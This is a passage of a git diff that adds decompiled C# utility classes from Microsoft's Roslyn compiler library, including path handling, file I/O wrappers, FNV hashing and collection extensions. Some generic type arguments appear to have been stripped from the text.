source.OrderBy(Comparisons.Comparer); + } + + public static IOrderedEnumerable ThenBy(this IOrderedEnumerable source, IComparer? comparer) + { + return source.ThenBy(Functions.Identity, comparer); + } + + public static IOrderedEnumerable ThenBy(this IOrderedEnumerable source, Comparison compare) + { + return source.ThenBy(Comparer.Create(compare)); + } + + public static IOrderedEnumerable ThenBy(this IOrderedEnumerable source) where T : IComparable + { + return source.ThenBy(Comparisons.Comparer); + } + + public static bool IsSorted(this IEnumerable enumerable, IComparer comparer) + { + using IEnumerator enumerator = enumerable.GetEnumerator(); + if (!enumerator.MoveNext()) + { + return true; + } + T current = enumerator.Current; + while (enumerator.MoveNext()) + { + if (comparer.Compare(current, enumerator.Current) > 0) + { + return false; + } + current = enumerator.Current; + } + return true; + } + + public static bool Contains(this IEnumerable sequence, Func predicate) + { + return sequence.Any(predicate); + } + + public static bool Contains(this IEnumerable sequence, string? s) + { + foreach (string item in sequence) + { + if (item == s) + { + return true; + } + } + return false; + } + + public static IComparer ToComparer(this Comparison comparison) + { + return Comparer.Create(comparison); + } + + public static ImmutableDictionary ToImmutableDictionaryOrEmpty(this IEnumerable>? items) where K : notnull + { + if (items == null) + { + return ImmutableDictionary.Create(); + } + return ImmutableDictionary.CreateRange(items); + } + + public static ImmutableDictionary ToImmutableDictionaryOrEmpty(this IEnumerable>? items, IEqualityComparer? keyComparer) where K : notnull + { + if (items == null) + { + return ImmutableDictionary.Create(keyComparer); + } + return ImmutableDictionary.CreateRange(keyComparer, items); + } + + internal static IList> Transpose(this IEnumerable> data) + { + return data.TransposeInternal().ToArray(); + } + + private static IEnumerable> TransposeInternal(this IEnumerable> data) + { + List> enumerators = new List>(); + int width = 0; + foreach (IEnumerable datum in data) + { + enumerators.Add(datum.GetEnumerator()); + width++; + } + try + { + while (true) + { + T[] array = null; + for (int i = 0; i < width; i++) + { + IEnumerator enumerator2 = enumerators[i]; + if (enumerator2.MoveNext()) + { + if (array == null) + { + array = new T[width]; + } + array[i] = enumerator2.Current; + continue; + } + yield break; + } + yield return array; + } + } + finally + { + foreach (IEnumerator item in enumerators) + { + item.Dispose(); + } + } + } + + internal static Dictionary> ToMultiDictionary(this IEnumerable data, Func keySelector, IEqualityComparer? comparer = null) where K : notnull + { + Dictionary> dictionary = new Dictionary>(comparer); + foreach (IGrouping item in data.GroupBy(keySelector, comparer)) + { + ImmutableArray value = item.AsImmutable(); + dictionary.Add(item.Key, value); + } + return dictionary; + } + + internal static TSource? AsSingleton(this IEnumerable? source) + { + if (source == null) + { + return default(TSource); + } + if (source is IList list) + { + if (list.Count != 1) + { + return default(TSource); + } + return list[0]; + } + using IEnumerator enumerator = source.GetEnumerator(); + if (!enumerator.MoveNext()) + { + return default(TSource); + } + TSource current = enumerator.Current; + if (enumerator.MoveNext()) + { + return default(TSource); + } + return current; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ExceptionUtilities.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ExceptionUtilities.cs new file mode 100644 index 0000000..3134785 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ExceptionUtilities.cs @@ -0,0 +1,27 @@ +using System; +using System.Runtime.CompilerServices; +using System.Threading; + +namespace Roslyn.Utilities; + +internal static class ExceptionUtilities +{ + internal static Exception UnexpectedValue(object? o) + { + return new InvalidOperationException(string.Format("Unexpected value '{0}' of type '{1}'", o, (o != null) ? o.GetType().FullName : "")); + } + + internal static Exception Unreachable([CallerFilePath] string? path = null, [CallerLineNumber] int line = 0) + { + return new InvalidOperationException($"This program location is thought to be unreachable. File='{path}' Line={line}"); + } + + internal static bool IsCurrentOperationBeingCancelled(Exception exception, CancellationToken cancellationToken) + { + if (exception is OperationCanceledException) + { + return cancellationToken.IsCancellationRequested; + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/FileKey.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/FileKey.cs new file mode 100644 index 0000000..c6471dd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/FileKey.cs @@ -0,0 +1,45 @@ +using System; + +namespace Roslyn.Utilities; + +internal readonly struct FileKey(string fullPath, DateTime timestamp) : IEquatable +{ + public readonly string FullPath = fullPath; + + public readonly DateTime Timestamp = timestamp; + + public static FileKey Create(string fullPath) + { + return new FileKey(fullPath, FileUtilities.GetFileTimeStamp(fullPath)); + } + + public override int GetHashCode() + { + int hashCode = StringComparer.OrdinalIgnoreCase.GetHashCode(FullPath); + DateTime timestamp = Timestamp; + return Hash.Combine(hashCode, timestamp.GetHashCode()); + } + + public override bool Equals(object? obj) + { + if (obj is FileKey) + { + return Equals((FileKey)obj); + } + return false; + } + + public override string ToString() + { + return $"'{FullPath}'@{Timestamp}"; + } + + public bool Equals(FileKey other) + { + if (Timestamp == other.Timestamp) + { + return string.Equals(FullPath, other.FullPath, StringComparison.OrdinalIgnoreCase); + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/FileNameUtilities.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/FileNameUtilities.cs new file mode 100644 index 0000000..fe648c9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/FileNameUtilities.cs @@ -0,0 +1,142 @@ +using System; +using System.Diagnostics.CodeAnalysis; + +namespace Roslyn.Utilities; + +internal static class FileNameUtilities +{ + internal const char DirectorySeparatorChar = '\\'; + + internal const char AltDirectorySeparatorChar = '/'; + + internal const char VolumeSeparatorChar = ':'; + + internal static bool IsFileName([NotNullWhen(true)] string? path) + { + return IndexOfFileName(path) == 0; + } + + private static int IndexOfExtension(string? path) + { + if (path != null) + { + return IndexOfExtension(path.AsSpan()); + } + return -1; + } + + private static int IndexOfExtension(ReadOnlySpan path) + { + int length = path.Length; + int num = length; + while (--num >= 0) + { + char c = path[num]; + if (c == '.') + { + if (num != length - 1) + { + return num; + } + return -1; + } + if (c == '\\' || c == '/' || c == ':') + { + break; + } + } + return -1; + } + + [return: NotNullIfNotNull("path")] + internal static string? GetExtension(string? path) + { + if (path == null) + { + return null; + } + int num = IndexOfExtension(path); + if (num < 0) + { + return string.Empty; + } + return path.Substring(num); + } + + internal static ReadOnlyMemory GetExtension(ReadOnlyMemory path) + { + int num = IndexOfExtension(path.Span); + if (num < 0) + { + return default(ReadOnlyMemory); + } + return path.Slice(num); + } + + [return: NotNullIfNotNull("path")] + private static string? RemoveExtension(string? path) + { + if (path == null) + { + return null; + } + int num = IndexOfExtension(path); + if (num >= 0) + { + return path.Substring(0, num); + } + if (path.Length > 0 && path[path.Length - 1] == '.') + { + return path.Substring(0, path.Length - 1); + } + return path; + } + + [return: NotNullIfNotNull("path")] + internal static string? ChangeExtension(string? path, string? extension) + { + if (path == null) + { + return null; + } + string text = RemoveExtension(path); + if (extension == null || path.Length == 0) + { + return text; + } + if (extension.Length == 0 || extension[0] != '.') + { + return text + "." + extension; + } + return text + extension; + } + + internal static int IndexOfFileName(string? path) + { + if (path == null) + { + return -1; + } + for (int num = path.Length - 1; num >= 0; num--) + { + char c = path[num]; + if (c == '\\' || c == '/' || c == ':') + { + return num + 1; + } + } + return 0; + } + + [return: NotNullIfNotNull("path")] + internal static string? GetFileName(string? path, bool includeExtension = true) + { + int num = IndexOfFileName(path); + string text = ((num <= 0) ? path : path.Substring(num)); + if (!includeExtension) + { + return RemoveExtension(text); + } + return text; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/FileUtilities.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/FileUtilities.cs new file mode 100644 index 0000000..71ff443 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/FileUtilities.cs @@ -0,0 +1,311 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Security; + +namespace Roslyn.Utilities; + +internal static class FileUtilities +{ + private static readonly char[] s_invalidPathChars = Path.GetInvalidPathChars(); + + internal static string? ResolveRelativePath(string path, string? basePath, string? baseDirectory, IEnumerable searchPaths, Func fileExists) + { + PathKind pathKind = PathUtilities.GetPathKind(path); + string text; + if (pathKind == PathKind.Relative) + { + baseDirectory = GetBaseDirectory(basePath, baseDirectory); + if (baseDirectory != null) + { + text = PathUtilities.CombinePathsUnchecked(baseDirectory, path); + if (fileExists(text)) + { + return text; + } + } + foreach (string searchPath in searchPaths) + { + text = PathUtilities.CombinePathsUnchecked(searchPath, path); + if (fileExists(text)) + { + return text; + } + } + return null; + } + text = ResolveRelativePath(pathKind, path, basePath, baseDirectory); + if (text != null && fileExists(text)) + { + return text; + } + return null; + } + + internal static string? ResolveRelativePath(string? path, string? baseDirectory) + { + return ResolveRelativePath(path, null, baseDirectory); + } + + internal static string? ResolveRelativePath(string? path, string? basePath, string? baseDirectory) + { + return ResolveRelativePath(PathUtilities.GetPathKind(path), path, basePath, baseDirectory); + } + + private static string? ResolveRelativePath(PathKind kind, string? path, string? basePath, string? baseDirectory) + { + switch (kind) + { + case PathKind.Empty: + return null; + case PathKind.Relative: + baseDirectory = GetBaseDirectory(basePath, baseDirectory); + if (baseDirectory == null) + { + return null; + } + return PathUtilities.CombinePathsUnchecked(baseDirectory, path); + case PathKind.RelativeToCurrentDirectory: + baseDirectory = GetBaseDirectory(basePath, baseDirectory); + if (baseDirectory == null) + { + return null; + } + if (path.Length == 1) + { + return baseDirectory; + } + return PathUtilities.CombinePathsUnchecked(baseDirectory, path); + case PathKind.RelativeToCurrentParent: + baseDirectory = GetBaseDirectory(basePath, baseDirectory); + if (baseDirectory == null) + { + return null; + } + return PathUtilities.CombinePathsUnchecked(baseDirectory, path); + case PathKind.RelativeToCurrentRoot: + { + string pathRoot; + if (basePath != null) + { + pathRoot = PathUtilities.GetPathRoot(basePath); + } + else + { + if (baseDirectory == null) + { + return null; + } + pathRoot = PathUtilities.GetPathRoot(baseDirectory); + } + if (RoslynString.IsNullOrEmpty(pathRoot)) + { + return null; + } + return PathUtilities.CombinePathsUnchecked(pathRoot, path.Substring(1)); + } + case PathKind.RelativeToDriveDirectory: + return null; + case PathKind.Absolute: + return path; + default: + throw ExceptionUtilities.UnexpectedValue(kind); + } + } + + private static string? GetBaseDirectory(string? basePath, string? baseDirectory) + { + string text = ResolveRelativePath(basePath, baseDirectory); + if (text == null) + { + return baseDirectory; + } + try + { + return Path.GetDirectoryName(text); + } + catch (Exception) + { + return null; + } + } + + internal static string? NormalizeRelativePath(string path, string? basePath, string? baseDirectory) + { + if (path.IndexOf("://", StringComparison.Ordinal) >= 0 || path.IndexOfAny(s_invalidPathChars) >= 0) + { + return null; + } + string text = ResolveRelativePath(path, basePath, baseDirectory); + if (text == null) + { + return null; + } + string text2 = TryNormalizeAbsolutePath(text); + if (text2 == null) + { + return null; + } + return text2; + } + + internal static string NormalizeAbsolutePath(string path) + { + try + { + return Path.GetFullPath(path); + } + catch (ArgumentException ex) + { + throw new IOException(ex.Message, ex); + } + catch (SecurityException ex2) + { + throw new IOException(ex2.Message, ex2); + } + catch (NotSupportedException ex3) + { + throw new IOException(ex3.Message, ex3); + } + } + + internal static string NormalizeDirectoryPath(string path) + { + return NormalizeAbsolutePath(path).TrimEnd(new char[2] + { + Path.DirectorySeparatorChar, + Path.AltDirectorySeparatorChar + }); + } + + internal static string? TryNormalizeAbsolutePath(string path) + { + try + { + return Path.GetFullPath(path); + } + catch + { + return null; + } + } + + internal static Stream OpenRead(string fullPath) + { + try + { + return new FileStream(fullPath, FileMode.Open, FileAccess.Read, FileShare.Read); + } + catch (IOException) + { + throw; + } + catch (Exception ex2) + { + throw new IOException(ex2.Message, ex2); + } + } + + internal static Stream OpenAsyncRead(string fullPath) + { + return RethrowExceptionsAsIOException(() => new FileStream(fullPath, FileMode.Open, FileAccess.Read, FileShare.Read, 4096, FileOptions.Asynchronous)); + } + + internal static T RethrowExceptionsAsIOException(Func operation) + { + try + { + return operation(); + } + catch (IOException) + { + throw; + } + catch (Exception ex2) + { + throw new IOException(ex2.Message, ex2); + } + } + + internal static Stream CreateFileStreamChecked(Func factory, string path, string? paramName = null) + { + try + { + return factory(path); + } + catch (ArgumentNullException) + { + if (paramName == null) + { + throw; + } + throw new ArgumentNullException(paramName); + } + catch (ArgumentException ex2) + { + if (paramName == null) + { + throw; + } + throw new ArgumentException(ex2.Message, paramName); + } + catch (IOException) + { + throw; + } + catch (Exception ex4) + { + throw new IOException(ex4.Message, ex4); + } + } + + internal static DateTime GetFileTimeStamp(string fullPath) + { + try + { + return File.GetLastWriteTimeUtc(fullPath); + } + catch (IOException) + { + throw; + } + catch (Exception ex2) + { + throw new IOException(ex2.Message, ex2); + } + } + + internal static long GetFileLength(string fullPath) + { + try + { + return new FileInfo(fullPath).Length; + } + catch (IOException) + { + throw; + } + catch (Exception ex2) + { + throw new IOException(ex2.Message, ex2); + } + } + + internal static void GetFileLengthAndTimeStamp(string fullPath, out long fileLength, out DateTime timeStamp) + { + try + { + FileInfo fileInfo = new FileInfo(fullPath); + fileLength = fileInfo.Length; + timeStamp = fileInfo.LastWriteTimeUtc; + } + catch (IOException) + { + throw; + } + catch (Exception ex2) + { + throw new IOException(ex2.Message, ex2); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/Functions.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/Functions.cs new file mode 100644 index 0000000..a53df8b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/Functions.cs @@ -0,0 +1,10 @@ +using System; + +namespace Roslyn.Utilities; + +internal static class Functions +{ + public static readonly Func Identity = (T t) => t; + + public static readonly Func True = (T t) => true; +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/GeneratedCodeUtilities.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/GeneratedCodeUtilities.cs new file mode 100644 index 0000000..e5d49fd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/GeneratedCodeUtilities.cs @@ -0,0 +1,152 @@ +using System; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Threading; +using Microsoft.CodeAnalysis; +using Microsoft.CodeAnalysis.Diagnostics; + +namespace Roslyn.Utilities; + +internal static class GeneratedCodeUtilities +{ + private static readonly string[] s_autoGeneratedStrings = new string[2] { " 1) + { + return false; + } + ImmutableArray.Enumerator enumerator = symbol.GetAttributes().GetEnumerator(); + while (enumerator.MoveNext()) + { + AttributeData current = enumerator.Current; + if (generatedCodeAttribute.Equals(current.AttributeClass)) + { + return true; + } + } + } + if (symbol.ContainingSymbol != null) + { + return IsGeneratedSymbolWithGeneratedCodeAttribute(symbol.ContainingSymbol, generatedCodeAttribute); + } + return false; + } + + internal static bool IsGeneratedCode(SyntaxTree tree, Func isComment, CancellationToken cancellationToken) + { + if (!IsGeneratedCodeFile(tree.FilePath)) + { + return BeginsWithAutoGeneratedComment(tree, isComment, cancellationToken); + } + return true; + } + + internal static bool IsGeneratedCode(string? filePath, SyntaxNode root, Func isComment) + { + if (!IsGeneratedCodeFile(filePath)) + { + return BeginsWithAutoGeneratedComment(root, isComment); + } + return true; + } + + private static bool IsGeneratedCodeFile([NotNullWhen(true)] string? filePath) + { + if (!RoslynString.IsNullOrEmpty(filePath)) + { + string fileName = PathUtilities.GetFileName(filePath); + if (fileName.StartsWith("TemporaryGeneratedFile_", StringComparison.OrdinalIgnoreCase)) + { + return true; + } + if (!string.IsNullOrEmpty(PathUtilities.GetExtension(fileName))) + { + string fileName2 = PathUtilities.GetFileName(filePath, includeExtension: false); + if (fileName2.EndsWith(".designer", StringComparison.OrdinalIgnoreCase) || fileName2.EndsWith(".generated", StringComparison.OrdinalIgnoreCase) || fileName2.EndsWith(".g", StringComparison.OrdinalIgnoreCase) || fileName2.EndsWith(".g.i", StringComparison.OrdinalIgnoreCase)) + { + return true; + } + } + } + return false; + } + + private static bool BeginsWithAutoGeneratedComment(SyntaxNode root, Func isComment) + { + if (root.HasLeadingTrivia) + { + SyntaxTriviaList.Enumerator enumerator = root.GetLeadingTrivia().GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTrivia current = enumerator.Current; + if (!isComment(current)) + { + continue; + } + string text = current.ToString(); + string[] array = s_autoGeneratedStrings; + foreach (string value in array) + { + if (text.Contains(value)) + { + return true; + } + } + } + } + return false; + } + + private static bool BeginsWithAutoGeneratedComment(SyntaxTree tree, Func isComment, CancellationToken cancellationToken) + { + SyntaxNode root = tree.GetRoot(cancellationToken); + if (root.HasLeadingTrivia) + { + SyntaxTriviaList.Enumerator enumerator = root.GetLeadingTrivia().GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTrivia current = enumerator.Current; + if (!isComment(current)) + { + continue; + } + string text = current.ToString(); + string[] array = s_autoGeneratedStrings; + foreach (string value in array) + { + if (text.Contains(value)) + { + return true; + } + } + } + } + return false; + } + + internal static GeneratedKind GetIsGeneratedCodeFromOptions(ImmutableDictionary options) + { + if (options.TryGetValue("generated_code", out string value) && bool.TryParse(value, out var result)) + { + if (!result) + { + return GeneratedKind.NotGenerated; + } + return GeneratedKind.MarkedGenerated; + } + return GeneratedKind.Unknown; + } + + internal static bool? GetIsGeneratedCodeFromOptions(AnalyzerConfigOptions options) + { + if (options.TryGetValue("generated_code", out string value) && bool.TryParse(value, out var result)) + { + return result; + } + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/Hash.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/Hash.cs new file mode 100644 index 0000000..201925e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/Hash.cs @@ -0,0 +1,283 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Text; +using Microsoft.CodeAnalysis; + +namespace Roslyn.Utilities; + +internal static class Hash +{ + internal const int FnvOffsetBias = -2128831035; + + internal const int FnvPrime = 16777619; + + internal static int Combine(int newKey, int currentKey) + { + return currentKey * -1521134295 + newKey; + } + + internal static int Combine(bool newKeyPart, int currentKey) + { + return Combine(currentKey, newKeyPart ? 1 : 0); + } + + internal static int Combine(T newKeyPart, int currentKey) where T : class? + { + int num = currentKey * -1521134295; + if (newKeyPart != null) + { + return num + newKeyPart.GetHashCode(); + } + return num; + } + + internal static int CombineValues(IEnumerable? values, int maxItemsToHash = int.MaxValue) + { + if (values == null) + { + return 0; + } + int num = 0; + int num2 = 0; + foreach (T value in values) + { + if (num2++ >= maxItemsToHash) + { + break; + } + if (value != null) + { + num = Combine(value.GetHashCode(), num); + } + } + return num; + } + + internal static int CombineValues(ImmutableDictionary values, int maxItemsToHash = int.MaxValue) where TKey : notnull + { + if (values == null) + { + return 0; + } + int num = 0; + int num2 = 0; + foreach (KeyValuePair value in values) + { + if (num2++ >= maxItemsToHash) + { + break; + } + num = Combine(value.GetHashCode(), num); + } + return num; + } + + internal static int CombineValues(T[]? values, int maxItemsToHash = int.MaxValue) + { + if (values == null) + { + return 0; + } + int num = Math.Min(maxItemsToHash, values.Length); + int num2 = 0; + for (int i = 0; i < num; i++) + { + T val = values[i]; + if (val != null) + { + num2 = Combine(val.GetHashCode(), num2); + } + } + return num2; + } + + internal static int CombineValues(ImmutableArray values, int maxItemsToHash = int.MaxValue) + { + if (values.IsDefaultOrEmpty) + { + return 0; + } + int num = 0; + int num2 = 0; + ImmutableArray.Enumerator enumerator = values.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + if (num2++ >= maxItemsToHash) + { + break; + } + if (current != null) + { + num = Combine(current.GetHashCode(), num); + } + } + return num; + } + + internal static int CombineValues(IEnumerable? values, StringComparer stringComparer, int maxItemsToHash = int.MaxValue) + { + if (values == null) + { + return 0; + } + int num = 0; + int num2 = 0; + foreach (string value in values) + { + if (num2++ >= maxItemsToHash) + { + break; + } + if (value != null) + { + num = Combine(stringComparer.GetHashCode(value), num); + } + } + return num; + } + + internal static int CombineValues(ImmutableArray values, StringComparer stringComparer, int maxItemsToHash = int.MaxValue) + { + if (values == null) + { + return 0; + } + int num = 0; + int num2 = 0; + ImmutableArray.Enumerator enumerator = values.GetEnumerator(); + while (enumerator.MoveNext()) + { + string current = enumerator.Current; + if (num2++ >= maxItemsToHash) + { + break; + } + if (current != null) + { + num = Combine(stringComparer.GetHashCode(current), num); + } + } + return num; + } + + internal static int GetFNVHashCode(byte[] data) + { + int num = -2128831035; + for (int i = 0; i < data.Length; i++) + { + num = (num ^ data[i]) * 16777619; + } + return num; + } + + internal static int GetFNVHashCode(ReadOnlySpan data, out bool isAscii) + { + int num = -2128831035; + byte b = 0; + for (int i = 0; i < data.Length; i++) + { + byte b2 = data[i]; + b |= b2; + num = (num ^ b2) * 16777619; + } + isAscii = (b & 0x80) == 0; + return num; + } + + internal static int GetFNVHashCode(ImmutableArray data) + { + int num = -2128831035; + for (int i = 0; i < data.Length; i++) + { + num = (num ^ data[i]) * 16777619; + } + return num; + } + + internal static int GetFNVHashCode(ReadOnlySpan data) + { + return CombineFNVHash(-2128831035, data); + } + + internal static int GetFNVHashCode(string text, int start, int length) + { + return GetFNVHashCode(text.AsSpan(start, length)); + } + + internal static int GetCaseInsensitiveFNVHashCode(string text) + { + return GetCaseInsensitiveFNVHashCode(text.AsSpan(0, text.Length)); + } + + internal static int GetCaseInsensitiveFNVHashCode(ReadOnlySpan data) + { + int num = -2128831035; + for (int i = 0; i < data.Length; i++) + { + num = (num ^ CaseInsensitiveComparison.ToLower(data[i])) * 16777619; + } + return num; + } + + internal static int GetFNVHashCode(string text, int start) + { + return GetFNVHashCode(text, start, text.Length - start); + } + + internal static int GetFNVHashCode(string text) + { + return CombineFNVHash(-2128831035, text); + } + + internal static int GetFNVHashCode(StringBuilder text) + { + int num = -2128831035; + int length = text.Length; + for (int i = 0; i < length; i++) + { + num = (num ^ text[i]) * 16777619; + } + return num; + } + + internal static int GetFNVHashCode(char[] text, int start, int length) + { + int num = -2128831035; + int num2 = start + length; + for (int i = start; i < num2; i++) + { + num = (num ^ text[i]) * 16777619; + } + return num; + } + + internal static int GetFNVHashCode(char ch) + { + return CombineFNVHash(-2128831035, ch); + } + + internal static int CombineFNVHash(int hashCode, string text) + { + foreach (char c in text) + { + hashCode = (hashCode ^ c) * 16777619; + } + return hashCode; + } + + internal static int CombineFNVHash(int hashCode, char ch) + { + return (hashCode ^ ch) * 16777619; + } + + internal static int CombineFNVHash(int hashCode, ReadOnlySpan data) + { + for (int i = 0; i < data.Length; i++) + { + hashCode = (hashCode ^ data[i]) * 16777619; + } + return hashCode; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ICommonCompilerFileSystem.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ICommonCompilerFileSystem.cs new file mode 100644 index 0000000..f0e88be --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ICommonCompilerFileSystem.cs @@ -0,0 +1,12 @@ +using System.IO; + +namespace Roslyn.Utilities; + +internal interface ICommonCompilerFileSystem +{ + bool FileExists(string filePath); + + Stream OpenFile(string filePath, FileMode mode, FileAccess access, FileShare share); + + Stream OpenFileEx(string filePath, FileMode mode, FileAccess access, FileShare share, int bufferSize, FileOptions options, out string normalizedFilePath); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/IObjectWritable.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/IObjectWritable.cs new file mode 100644 index 0000000..0514da2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/IObjectWritable.cs @@ -0,0 +1,8 @@ +namespace Roslyn.Utilities; + +internal interface IObjectWritable +{ + bool ShouldReuseInSerialization { get; } + + void WriteTo(ObjectWriter writer); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/IReadOnlyListExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/IReadOnlyListExtensions.cs new file mode 100644 index 0000000..8065fdd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/IReadOnlyListExtensions.cs @@ -0,0 +1,22 @@ +using System.Collections.Generic; + +namespace Roslyn.Utilities; + +internal static class IReadOnlyListExtensions +{ + public static bool Contains(this IReadOnlyList list, T item, IEqualityComparer? comparer = null) + { + if (comparer == null) + { + comparer = EqualityComparer.Default; + } + for (int i = 0; i < list.Count; i++) + { + if (comparer.Equals(item, list[i])) + { + return true; + } + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/IReadOnlySet.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/IReadOnlySet.cs new file mode 100644 index 0000000..37ec18b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/IReadOnlySet.cs @@ -0,0 +1,8 @@ +namespace Roslyn.Utilities; + +internal interface IReadOnlySet +{ + int Count { get; } + + bool Contains(T item); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ISetExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ISetExtensions.cs new file mode 100644 index 0000000..53df82f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ISetExtensions.cs @@ -0,0 +1,51 @@ +using System.Collections.Generic; +using System.Collections.Immutable; + +namespace Roslyn.Utilities; + +internal static class ISetExtensions +{ + public static bool AddAll(this ISet set, IEnumerable values) + { + bool flag = false; + foreach (T value in values) + { + flag |= set.Add(value); + } + return flag; + } + + public static bool AddAll(this ISet set, ImmutableArray values) + { + bool flag = false; + ImmutableArray.Enumerator enumerator = values.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + flag |= set.Add(current); + } + return flag; + } + + public static bool RemoveAll(this ISet set, IEnumerable values) + { + bool flag = false; + foreach (T value in values) + { + flag |= set.Remove(value); + } + return flag; + } + + public static bool RemoveAll(this ISet set, ImmutableArray values) + { + bool flag = false; + ImmutableArray.Enumerator enumerator = values.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + flag |= set.Remove(current); + } + return flag; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ImmutableListExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ImmutableListExtensions.cs new file mode 100644 index 0000000..13d51fa --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ImmutableListExtensions.cs @@ -0,0 +1,25 @@ +using System.Collections.Generic; +using System.Collections.Immutable; + +namespace Roslyn.Utilities; + +internal static class ImmutableListExtensions +{ + internal static ImmutableList ToImmutableListOrEmpty(this T[]? items) + { + if (items == null) + { + return ImmutableList.Create(); + } + return ImmutableList.Create(items); + } + + internal static ImmutableList ToImmutableListOrEmpty(this IEnumerable? items) + { + if (items == null) + { + return ImmutableList.Create(); + } + return ImmutableList.CreateRange(items); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ImmutableSetWithInsertionOrder.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ImmutableSetWithInsertionOrder.cs new file mode 100644 index 0000000..4b60d2e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ImmutableSetWithInsertionOrder.cs @@ -0,0 +1,70 @@ +using System.Collections; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; + +namespace Roslyn.Utilities; + +internal sealed class ImmutableSetWithInsertionOrder : IEnumerable, IEnumerable where T : notnull +{ + public static readonly ImmutableSetWithInsertionOrder Empty = new ImmutableSetWithInsertionOrder(ImmutableDictionary.Create(), 0u); + + private readonly ImmutableDictionary _map; + + private readonly uint _nextElementValue; + + public int Count => _map.Count; + + public IEnumerable InInsertionOrder => from kv in _map + orderby kv.Value + select kv.Key; + + private ImmutableSetWithInsertionOrder(ImmutableDictionary map, uint nextElementValue) + { + _map = map; + _nextElementValue = nextElementValue; + } + + public bool Contains(T value) + { + return _map.ContainsKey(value); + } + + public ImmutableSetWithInsertionOrder Add(T value) + { + if (_map.ContainsKey(value)) + { + return this; + } + return new ImmutableSetWithInsertionOrder(_map.Add(value, _nextElementValue), _nextElementValue + 1); + } + + public ImmutableSetWithInsertionOrder Remove(T value) + { + ImmutableDictionary immutableDictionary = _map.Remove(value); + if (immutableDictionary == _map) + { + return this; + } + if (Count != 1) + { + return new ImmutableSetWithInsertionOrder(immutableDictionary, _nextElementValue); + } + return Empty; + } + + public override string ToString() + { + return "{" + string.Join(", ", this) + "}"; + } + + public IEnumerator GetEnumerator() + { + return _map.Keys.GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return _map.Keys.GetEnumerator(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/IncrementalHashExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/IncrementalHashExtensions.cs new file mode 100644 index 0000000..982e2cb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/IncrementalHashExtensions.cs @@ -0,0 +1,30 @@ +using System; +using System.Collections.Generic; +using System.Reflection.Metadata; +using System.Security.Cryptography; + +namespace Roslyn.Utilities; + +internal static class IncrementalHashExtensions +{ + internal static void AppendData(this IncrementalHash hash, IEnumerable blobs) + { + foreach (Blob blob in blobs) + { + AppendData(hash, 